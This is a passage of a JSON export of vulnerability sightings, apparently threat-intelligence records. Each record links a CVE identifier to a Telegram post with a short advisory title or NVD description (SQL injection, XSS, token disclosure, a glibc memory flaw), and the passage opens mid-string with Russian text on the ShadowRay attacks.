\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0438\u044e \u0432\u0437\u043b\u043e\u043c\u043e\u0432 ShadowRay \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0411\u0414, \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u043c\u043e\u0434\u0435\u043b\u0438 \u0418\u0418, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u043e\u043a\u0435\u043d\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435. \n\n\u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 Ray \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Anyscale \u0434\u043b\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0418\u0418 \u0438 Python \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a. \u0415\u0451 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043a\u0430\u043a Netflix, Spotify, LinkedIn, Amazon, Uber, OpenAI \u0438 \u0434\u0440. \n\n\u041d\u0435\u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u0438\u0439", "creation_timestamp": "2024-03-28T22:02:46.000000Z"}, {"uuid": "6b74e999-85a5-4a47-ab33-6723fb9afb0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/4966", "content": "https://system32.ink/semcms-v4.8-cve-2023-48864-sql-injection-exploit/\n\nSemcms v4.8 CVE-2023-48864 SQL Injection Exploit", "creation_timestamp": "2024-01-08T10:07:01.000000Z"}, {"uuid": "2d9a16c4-e8f3-4326-966b-1e03ec14a811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4839", "type": "seen", "source": "https://t.me/ctinow/206358", "content": "https://ift.tt/0hOGLk3\nCVE-2023-4839", "creation_timestamp": "2024-03-13T03:27:00.000000Z"}, {"uuid": "aee8169d-d0ef-4a61-9613-f67844a92ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4839", "type": "seen", "source": "https://t.me/ctinow/206356", "content": "https://ift.tt/0hOGLk3\nCVE-2023-4839", "creation_timestamp": "2024-03-13T03:26:58.000000Z"}, {"uuid": "aca0a140-65e8-4ffe-8d3b-4f96d0c84223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ctinow/205822", "content": "https://ift.tt/1vZwPfc\nCVE-2023-48788", "creation_timestamp": "2024-03-12T16:32:08.000000Z"}, {"uuid": "dd051404-a29e-4de5-86fb-f2d33ef1a541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ctinow/207111", "content": "https://ift.tt/XAaKvzG\nCVE-2023-48788 Exploit", "creation_timestamp": "2024-03-13T20:18:30.000000Z"}, {"uuid": "6f48753c-274a-4fc6-a02a-a4126f04507a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://t.me/ctinow/213001", "content": "https://ift.tt/yWKrb4d\nAI framework vulnerability is being used to compromise enterprise servers (CVE-2023-48022)", "creation_timestamp": "2024-03-27T12:36:39.000000Z"}, {"uuid": "d1cf0f8d-23c9-4eb5-bf36-599e004c1110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ctinow/207887", "content": "https://ift.tt/jUTwHYf\nCritical FortiClient EMS vulnerability fixed, (fake?) PoC for sale (CVE-2023-48788)", "creation_timestamp": "2024-03-14T15:56:54.000000Z"}, {"uuid": "1c69a0b1-705a-4c5e-a63a-e22ef38df9c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ctinow/205806", "content": "https://ift.tt/1vZwPfc\nCVE-2023-48788", "creation_timestamp": "2024-03-12T16:26:39.000000Z"}, {"uuid": "a2f8d6a7-d1c4-480d-8862-7017bee94b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4802", "type": "seen", "source": "https://t.me/cibsecurity/70408", "content": "\u203c CVE-2023-4802 \u203c\n\nA reflected cross-site scripting vulnerability in the UpdateInstalledSoftware endpoint of the Insider Threat Management (ITM) Server's web console could be used by an authenticated administrator to run arbitrary javascript within another web console administrator's browser. All versions prior to 7.14.3.69 are affected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T20:34:20.000000Z"}, {"uuid": "8dfedbe9-94b8-47c7-8769-eb47f8c28d93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48220", "type": "seen", "source": "https://t.me/ctinow/203465", "content": "https://ift.tt/2VEThqR\nCVE-2023-48220 | Decidim operation after expiration", "creation_timestamp": "2024-03-08T18:02:22.000000Z"}, {"uuid": "9d972d02-e8cb-4395-ad68-c2273bcb64d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48974", "type": "seen", "source": "https://t.me/ctinow/198274", "content": "https://ift.tt/tcBzkPy\nCVE-2023-48974 | Axigen WebMail up to 10.5.7 serverName_input cross site scripting", "creation_timestamp": "2024-03-02T08:37:00.000000Z"}, {"uuid": "cc6326bd-73a6-4d98-ae4e-72bd7bee6a53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48725", "type": "seen", "source": "https://t.me/ctinow/202543", "content": "https://ift.tt/O6Nl4rv\nCVE-2023-48725", "creation_timestamp": "2024-03-07T16:27:04.000000Z"}, {"uuid": "04993b0b-9aab-4b00-8100-a608d2317a91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48229", "type": "seen", "source": "https://t.me/ctinow/201639", "content": "https://ift.tt/ip40Joc\nCVE-2023-48229 | Contiki-NG up to 4.9 nrf-ieee-driver-arch.c read_frame out-of-bounds write (GHSA-rcwv-xwc9-5hp2)", "creation_timestamp": "2024-03-06T18:46:46.000000Z"}, {"uuid": "4acbb8c0-2b59-40bc-a001-aed405b1f7d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48674", "type": "seen", "source": "https://t.me/ctinow/197643", "content": "https://ift.tt/RTl1xnr\nCVE-2023-48674", "creation_timestamp": "2024-03-01T14:26:10.000000Z"}, {"uuid": "ec473ffd-adc6-4708-8cf8-05070245d737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48674", "type": "seen", "source": "https://t.me/ctinow/197633", "content": "https://ift.tt/RTl1xnr\nCVE-2023-48674", "creation_timestamp": "2024-03-01T14:21:38.000000Z"}, {"uuid": "875d2ed5-5a6f-4aae-b88a-4df240f70286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48703", "type": "seen", "source": "https://t.me/ctinow/201832", "content": "https://ift.tt/jR8eFHa\nCVE-2023-48703", "creation_timestamp": "2024-03-06T21:26:19.000000Z"}, {"uuid": "1530041f-310e-448f-99a7-73627e62874f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4826", "type": "seen", "source": "https://t.me/ctinow/191654", "content": "https://ift.tt/0NGjbCV\nCVE-2023-4826", "creation_timestamp": "2024-02-23T11:26:26.000000Z"}, {"uuid": "9f25d868-a1d0-4bf2-b7c0-863b10944381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48644", "type": "seen", "source": "https://t.me/ctinow/200867", "content": "https://ift.tt/QXcHzwO\nCVE-2023-48644", "creation_timestamp": "2024-03-06T00:27:00.000000Z"}, {"uuid": "73d90186-9450-4d62-a3c1-4130cd0665f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48703", "type": "seen", "source": "https://t.me/ctinow/201821", "content": "https://ift.tt/jR8eFHa\nCVE-2023-48703", "creation_timestamp": "2024-03-06T21:26:05.000000Z"}, {"uuid": "0f38d747-72e7-4b5d-8ad2-f2e7af6f3ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48644", "type": "seen", "source": "https://t.me/ctinow/200855", "content": "https://ift.tt/QXcHzwO\nCVE-2023-48644", "creation_timestamp": "2024-03-06T00:26:43.000000Z"}, {"uuid": "a9118e30-800f-4150-adb0-ac1956d453bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4826", "type": "seen", "source": "https://t.me/ctinow/191651", "content": "https://ift.tt/0NGjbCV\nCVE-2023-4826", "creation_timestamp": "2024-02-23T11:26:23.000000Z"}, {"uuid": "2218d01b-1fe5-4ccb-93da-3e360c26d5b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48682", "type": "seen", "source": "https://t.me/ctinow/194706", "content": "https://ift.tt/TjBNe7X\nCVE-2023-48682", "creation_timestamp": "2024-02-27T18:31:28.000000Z"}, {"uuid": "4c472536-03b9-4728-9eba-6763138b23db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48681", "type": "seen", "source": "https://t.me/ctinow/194705", "content": "https://ift.tt/j9YvrH2\nCVE-2023-48681", "creation_timestamp": "2024-02-27T18:31:27.000000Z"}, {"uuid": "cc302e9c-c4d0-4e4f-b89e-ac23936347da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48680", "type": "seen", "source": "https://t.me/ctinow/194704", "content": "https://ift.tt/vfVO3pE\nCVE-2023-48680", "creation_timestamp": "2024-02-27T18:31:26.000000Z"}, {"uuid": "831d03ca-02c1-46ff-86fa-04306f9a0e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48679", "type": "seen", "source": "https://t.me/ctinow/194703", "content": "https://ift.tt/SuRs53t\nCVE-2023-48679", "creation_timestamp": "2024-02-27T18:31:24.000000Z"}, {"uuid": "c4117b36-d9d5-47d3-b35b-efdc251bd59b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48678", "type": "seen", "source": "https://t.me/ctinow/194702", "content": "https://ift.tt/vIj6ayk\nCVE-2023-48678", "creation_timestamp": "2024-02-27T18:31:23.000000Z"}, {"uuid": "4dd1d2ff-ea0b-4e15-9337-15d11f352859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48682", "type": "seen", "source": "https://t.me/ctinow/194721", "content": "https://ift.tt/TjBNe7X\nCVE-2023-48682", "creation_timestamp": "2024-02-27T18:36:46.000000Z"}, {"uuid": "c978f04d-fc5a-494b-bc37-5b9739b02739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48681", "type": "seen", "source": "https://t.me/ctinow/194720", "content": "https://ift.tt/j9YvrH2\nCVE-2023-48681", "creation_timestamp": "2024-02-27T18:36:45.000000Z"}, {"uuid": "85c64063-74a9-40d0-950c-5abe49c7d047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48680", "type": "seen", "source": "https://t.me/ctinow/194719", "content": "https://ift.tt/vfVO3pE\nCVE-2023-48680", "creation_timestamp": "2024-02-27T18:36:44.000000Z"}, {"uuid": "1e776b61-1e49-47d7-80f8-41b14b288589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48679", "type": "seen", "source": "https://t.me/ctinow/194718", "content": "https://ift.tt/SuRs53t\nCVE-2023-48679", "creation_timestamp": "2024-02-27T18:36:43.000000Z"}, {"uuid": "dab2c4ce-87d5-4bf2-bdab-32eb0bec5e4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48678", "type": "seen", "source": "https://t.me/ctinow/194717", "content": "https://ift.tt/vIj6ayk\nCVE-2023-48678", "creation_timestamp": "2024-02-27T18:36:42.000000Z"}, {"uuid": "3190c82e-f247-403b-bb37-b36cf05328ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4895", "type": "seen", "source": "https://t.me/ctinow/190342", "content": "https://ift.tt/SO81dNC\nCVE-2023-4895", "creation_timestamp": "2024-02-22T02:26:53.000000Z"}, {"uuid": "25487ac1-eb65-4891-8486-2b2e22283f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4895", "type": "seen", "source": "https://t.me/ctinow/190339", "content": "https://ift.tt/SO81dNC\nCVE-2023-4895", "creation_timestamp": "2024-02-22T02:21:47.000000Z"}, {"uuid": "9438f29b-8eda-4c57-9aea-4d46611d8486", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48220", "type": "seen", "source": "https://t.me/ctinow/188840", "content": "https://ift.tt/JKQ1s5C\nCVE-2023-48220", "creation_timestamp": "2024-02-20T19:27:10.000000Z"}, {"uuid": "c42b6522-cce1-4528-b1d3-03b8cfe12b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48202", "type": "seen", "source": "https://t.me/ctinow/189303", "content": "https://ift.tt/hjDFOnW\nCVE-2023-48202 | Sunlight CMS 8.0.1 File Manager cross site scripting", "creation_timestamp": "2024-02-21T08:06:52.000000Z"}, {"uuid": "a21ac07a-c21e-44d5-a03a-51f6440a4032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48220", "type": "seen", "source": "https://t.me/ctinow/188856", "content": "https://ift.tt/JKQ1s5C\nCVE-2023-48220", "creation_timestamp": "2024-02-20T19:31:51.000000Z"}, {"uuid": "66af3c26-5d88-4eaa-81a2-398d9281596e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48201", "type": "seen", "source": "https://t.me/ctinow/189302", "content": "https://ift.tt/T3FveJu\nCVE-2023-48201 | Sunlight CMS 8.0.1 Content Text Editor cross site scripting", "creation_timestamp": "2024-02-21T08:06:51.000000Z"}, {"uuid": "63d32a7f-4af4-4669-8b1a-bda72ef46e86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48645", "type": "seen", "source": "https://t.me/ctinow/192782", "content": "https://ift.tt/tU2gD9c\nCVE-2023-48645 | ARCHIBUS App 4.0.3 on iOS Maintenance Module sql injection", "creation_timestamp": "2024-02-25T09:11:25.000000Z"}, {"uuid": "c3eb4d7e-a3ac-48cb-8aa0-62605502eee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48793", "type": "seen", "source": "https://t.me/ctinow/192607", "content": "https://ift.tt/2W7zePB\nCVE-2023-48793 | Zoho ManageEngine ADAudit Plus up to 7250 Aggregate Report sql injection", "creation_timestamp": "2024-02-24T14:47:07.000000Z"}, {"uuid": "6b6c0789-3ce0-44d8-a11a-6ad36eb48b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48792", "type": "seen", "source": "https://t.me/ctinow/192604", "content": "https://ift.tt/8XM5Ls2\nCVE-2023-48792 | Zoho ManageEngine ADAudit Plus up to 7250 sql injection", "creation_timestamp": "2024-02-24T14:47:03.000000Z"}, {"uuid": "27476b23-af52-4c0c-af4a-32dc5d14e7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48129", "type": "seen", "source": "https://t.me/ctinow/187518", "content": "https://ift.tt/AmPplhO\nCVE-2023-48129 | kimono-oldnew mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:56:27.000000Z"}, {"uuid": "5f21dfb2-2050-47f6-8710-6bc41f88248b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48132", "type": "seen", "source": "https://t.me/ctinow/187517", "content": "https://ift.tt/9dmLj6P\nCVE-2023-48132 | kosei entertainment esportsstudioLegends mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:56:26.000000Z"}, {"uuid": "a9f7a7c7-dfc7-4ad6-a29d-a6112230a55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48133", "type": "seen", "source": "https://t.me/ctinow/187516", "content": "https://ift.tt/f2Ui6TE\nCVE-2023-48133 | angel coffee mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:56:24.000000Z"}, {"uuid": "42110986-3bb1-497f-979d-659833a6ab8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48130", "type": "seen", "source": "https://t.me/ctinow/187515", "content": "https://ift.tt/O5GfBhq\nCVE-2023-48130 | GINZA CAFE mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:56:23.000000Z"}, {"uuid": "eb3f36aa-107c-46f4-a2eb-3682cbd3a174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48926", "type": "seen", "source": "https://t.me/ctinow/182583", "content": "https://ift.tt/41Y2Fsm\nCVE-2023-48926 | Advanced Loyalty Program up to 2.3.3 on PrestaShop Order Status access control (GHSA-jp2c-mj65-qpmw)", "creation_timestamp": "2024-02-10T15:46:14.000000Z"}, {"uuid": "e649518c-f0fe-4bd2-8917-0c04e5c0f420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48127", "type": "seen", "source": "https://t.me/ctinow/187505", "content": "https://ift.tt/YUT7yDM\nCVE-2023-48127 | myGAKUYA mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:26:52.000000Z"}, {"uuid": "2b9682a3-710d-4c1d-864e-2fd5aeb0ab11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48714", "type": "seen", "source": "https://t.me/ctinow/186809", "content": "https://ift.tt/5zSYOHX\nCVE-2023-48714 | SilverStripe Framework up to 4.13.38/5.1.10 GridFieldAddExistingAutocompleter information disclosure (GHSA-qm2j-qvq3-j29v)", "creation_timestamp": "2024-02-17T08:06:40.000000Z"}, {"uuid": "6a1949a1-5681-4593-a841-a68ec5e2b90b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48118", "type": "seen", "source": "https://t.me/ctinow/186302", "content": "https://ift.tt/BgLqSb0\nCVE-2023-48118 | Quest Analytics IQCRM 2023.9.5 WSDL Page Common.svc sql injection", "creation_timestamp": "2024-02-16T11:46:13.000000Z"}, {"uuid": "e16ec3fa-8fe3-4bf9-bbe2-9f6ccc180daf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48128", "type": "seen", "source": "https://t.me/ctinow/187514", "content": "https://ift.tt/WdYMs5U\nCVE-2023-48128 | UNITED BOXING GYM mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:56:22.000000Z"}, {"uuid": "e8cac00f-e502-4c57-b205-da0e28253374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48126", "type": "seen", "source": "https://t.me/ctinow/187513", "content": "https://ift.tt/DBx3z0v\nCVE-2023-48126 | Luxe Beauty Clinic mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:56:21.000000Z"}, {"uuid": "4eb21905-1d55-4a6a-b097-f5991814398c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48131", "type": "seen", "source": "https://t.me/ctinow/187511", "content": "https://ift.tt/c0u5Y2n\nCVE-2023-48131 | CHIGASAKI BAKERY mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:56:19.000000Z"}, {"uuid": "314e221d-0792-49e1-971b-a456020e411a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48135", "type": "seen", "source": "https://t.me/ctinow/187506", "content": "https://ift.tt/QqBvalf\nCVE-2023-48135 | mimasaka_farm mini-app on Line 13.6.1 Channel Access Token information disclosure", "creation_timestamp": "2024-02-19T08:26:53.000000Z"}, {"uuid": "f5e49522-15a7-4e56-8ac5-6fd51322eb43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4803", "type": "seen", "source": "https://t.me/cibsecurity/70409", "content": "\u203c CVE-2023-4803 \u203c\n\nA reflected cross-site scripting vulnerability in the WriteWindowTitle endpoint of the Insider Threat Management (ITM) Server's web console could be used by an authenticated administrator to run arbitrary javascript within another web console administrator's browser. All versions prior to 7.14.3.69 are affected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T20:23:59.000000Z"}, {"uuid": "cc257870-4a43-4a42-a2a9-7d2527e118d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4853", "type": "seen", "source": "https://t.me/cibsecurity/70793", "content": "\u203c CVE-2023-4853 \u203c\n\nA flaw was found in Quarkus where HTTP security policies are not sanitizing certain character permutations correctly when accepting requests, resulting in incorrect evaluation of permissions. This issue could allow an attacker to bypass the security policy altogether, resulting in unauthorized endpoint access and possibly a denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T14:30:08.000000Z"}, {"uuid": "3b835b6d-ab51-4f59-92a7-5c6c9d3565d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4806", "type": "seen", "source": "https://t.me/cibsecurity/70661", "content": "\u203c CVE-2023-4806 \u203c\n\nA flaw was found in glibc. In an extremely rare situation, the getaddrinfo function may access memory that has been freed, resulting in an application crash. This issue is only exploitable when a NSS module implements only the _nss_*_gethostbyname2_r and _nss_*_getcanonname_r hooks without implementing the _nss_*_gethostbyname3_r hook. The resolved name should return a large number of IPv6 and IPv4, and the call to the getaddrinfo function should have the AF_INET6 address family with AI_CANONNAME, AI_ALL and AI_V4MAPPED as flags.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-18T20:28:38.000000Z"}, {"uuid": "cabd506f-727d-463c-8de6-cc4e282fdb8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48974", "type": "seen", "source": "https://t.me/ctinow/181099", "content": "https://ift.tt/tkFTVma\nCVE-2023-48974", "creation_timestamp": "2024-02-08T02:21:34.000000Z"}, {"uuid": "36e82d43-f8aa-4cd2-9c3d-799e2f6de939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48733", "type": "seen", "source": "https://t.me/ctinow/185117", "content": "https://ift.tt/NSYdzm0\nCVE-2023-48733", "creation_timestamp": "2024-02-14T23:26:31.000000Z"}, {"uuid": "b286423c-cce1-49dd-ac84-db324934cb8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48229", "type": "seen", "source": "https://t.me/ctinow/184977", "content": "https://ift.tt/VltgZ12\nCVE-2023-48229", "creation_timestamp": 